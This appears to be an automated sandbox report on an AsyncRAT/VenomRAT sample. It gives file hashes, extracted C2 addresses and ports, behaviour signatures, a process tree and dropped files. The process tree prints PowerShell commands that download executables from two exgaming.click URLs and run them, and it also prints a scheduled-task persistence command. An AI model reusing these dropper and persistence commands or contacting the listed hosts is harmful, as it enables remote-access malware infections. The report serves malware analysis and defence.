Analysis

  • max time kernel
    143s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-08-2024 18:29

General

  • Target

    0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe

  • Size

    75KB

  • MD5

    4fbd2fe9137a020947bcf47e878ad423

  • SHA1

    b4a1d9dad685f12de91a22ffaad45134c7bc9128

  • SHA256

    0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda

  • SHA512

    dec1971e3a42404b864fdd408008ecd25ccdeb5556a82ba87e00beec24783fbec01c611eb85289dad9df73594789e7d9446ae97a29ba8897db16270fb8d20991

  • SSDEEP

    1536:UGkU28PCCgMPMRk8Kt2OlY6H1bf/iG4CkzkKLVclN:U/UDamPMRk8v4jH1bfoCkDBY

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://xcu.exgaming.click

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://xcu5.exgaming.click

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

51.254.53.24:4449

51.254.53.24:16388

88.175.86.67:4449

88.175.86.67:16388

Mutex

CPS

Attributes
  • delay

    1

  • install

    true

  • install_file

    carte CPS.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • VenomRAT 2 IoCs

    Detects VenomRAT.

  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
    "C:\Users\Admin\AppData\Local\Temp\0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4152
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4092
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "carte CPS" /tr '"C:\Users\Admin\AppData\Roaming\carte CPS.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3312
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "carte CPS" /tr '"C:\Users\Admin\AppData\Roaming\carte CPS.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4076
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBDA3.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2560
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1876
      • C:\Users\Admin\AppData\Roaming\carte CPS.exe
        "C:\Users\Admin\AppData\Roaming\carte CPS.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3536
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3664
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2944

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    5ec3da9c2a33b40667b657026cacc49a

    SHA1

    8afb9757e55387f0a94fe13a4d1f8925745402e9

    SHA256

    493c7336cee0fbac4cc062c011f82e8c77318eb9c15f9f19ec2d565ba4182b15

    SHA512

    0ecab2852d6a651c91feb456f64704964cb9ecc2a66be9864d127b25668a7185b54c21ed60dae302de006268f36fe88872d2a5e3e4e2451ff8dc99ac64f1d9b8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    43f4bec966ab901ac034fc136a642fa5

    SHA1

    8e7227cefec8b05c9a79b2751d1261187b9c0422

    SHA256

    09ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4

    SHA512

    a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    fb4cb72fdb972bec9083e291598e5107

    SHA1

    6208b997143f2ab175ac2bc5b827547c01ba9339

    SHA256

    a68190a9f6559f74a8c0ac2eef3b36b990d2cc032d8e3b565b6db38ac2f33ef6

    SHA512

    3b34b2ec66dc18869c75207d9a6b3001d4ba451404de7e64aaab3b41f822607aeb8997963d925bf1363d00ee354c44574b87c5573d8a3f044625992fc8614ba5

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    9529fc40c2c0219ca6df97db8a080b9d

    SHA1

    f6749f05b82ffeef82680d3dec29360951e91ae5

    SHA256

    a07d6bdbdabed169c0b91b64bd9d914e8fcf8ecef3f13aec96f1fb83b51a277a

    SHA512

    d187ba849593766e70c9fee186dc5625343efe6c8f9f9ff0a24c486385a2f17e5eb90e8ee681caf33c94e2b34b54d17925b7aaf7f414021a7444ce9004294363

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    4389361e025edadd209219e7e0d01d88

    SHA1

    423110d98b4916657f8626f232ec8d2bfcdd2c5f

    SHA256

    4aba29f6e18ad93d80ec5de0243689413e1d0f708e4ed5ee62e2c022b2c218a7

    SHA512

    2ec5a74cbdc885a34a55c1de6eeb334a24a2ba4d20f94dfa90fcbb69801b1f2a8c3ba5e8419dba76e6b1ec501a949b0d86906a3f04ad3f0e3a92362e82f11262

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b4daa86245479cd459d432fc9ab0fd04

    SHA1

    42365da36f4c3c60f3c911b4981240bea5de0727

    SHA256

    a0da3adc141b5e8cabe610881943e02a3d290aed64733f3423cfa30d0c9a30f5

    SHA512

    b18c689c1fd776b8a713a9d56fdd7d59984b4f4d892d12c19902bcc19dfbe73939792c8a087e7d7b92934888a7710c74272099f43b4228ca6187f98324947d52

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    5389d923d1e6586728ab938e0c982299

    SHA1

    8e3b1cb4a97e2d5d79435754d12797fe23f78ad0

    SHA256

    b9bc217f3644a32773c73b8dad104d3e55e4dcb79d933685022356b8ad6470fd

    SHA512

    03297dd01892313cb76378869dc8dc6056040aeb1088d2896c3b18cd85eccb13a4a9324d58f3b46f04d37a638abfdf9cde3b1aa9b399aa9da3ddb6e337659459

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fc144yil.ylu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmpBDA3.tmp.bat

    Filesize

    153B

    MD5

    b614a4d8e218910d5573ecd2c222fc5d

    SHA1

    c607da38380183091c230ec16e4ef2fb298f3d47

    SHA256

    563243c59f16b63a69a310878c65c77e7dd5a16ba0782e2739b7aef754f6fdff

    SHA512

    6f2ea2e692e5c35bf11b04e907060f41311308b26c590a57e3946de4596685ab81cf55a091750ed13e3d36374f8759d5e58fc8619b902ee31772895c018ce332

  • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

    Filesize

    8B

    MD5

    cf759e4c5f14fe3eec41b87ed756cea8

    SHA1

    c27c796bb3c2fac929359563676f4ba1ffada1f5

    SHA256

    c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

    SHA512

    c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

  • C:\Users\Admin\AppData\Roaming\carte CPS.exe

    Filesize

    75KB

    MD5

    4fbd2fe9137a020947bcf47e878ad423

    SHA1

    b4a1d9dad685f12de91a22ffaad45134c7bc9128

    SHA256

    0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda

    SHA512

    dec1971e3a42404b864fdd408008ecd25ccdeb5556a82ba87e00beec24783fbec01c611eb85289dad9df73594789e7d9446ae97a29ba8897db16270fb8d20991

  • memory/984-20-0x00007FFF68250000-0x00007FFF68D11000-memory.dmp

    Filesize

    10.8MB

  • memory/984-9-0x00000240709C0000-0x00000240709E2000-memory.dmp

    Filesize

    136KB

  • memory/984-14-0x00007FFF68250000-0x00007FFF68D11000-memory.dmp

    Filesize

    10.8MB

  • memory/984-19-0x0000024071020000-0x000002407123C000-memory.dmp

    Filesize

    2.1MB

  • memory/984-16-0x00007FFF68250000-0x00007FFF68D11000-memory.dmp

    Filesize

    10.8MB

  • memory/984-15-0x00007FFF68250000-0x00007FFF68D11000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-47-0x00007FFF68250000-0x00007FFF68D11000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-3-0x00007FFF68250000-0x00007FFF68D11000-memory.dmp

    Filesize

    10.8MB

  • memory/4152-0-0x00007FFF68253000-0x00007FFF68255000-memory.dmp

    Filesize

    8KB

  • memory/4152-1-0x0000000000100000-0x0000000000118000-memory.dmp

    Filesize

    96KB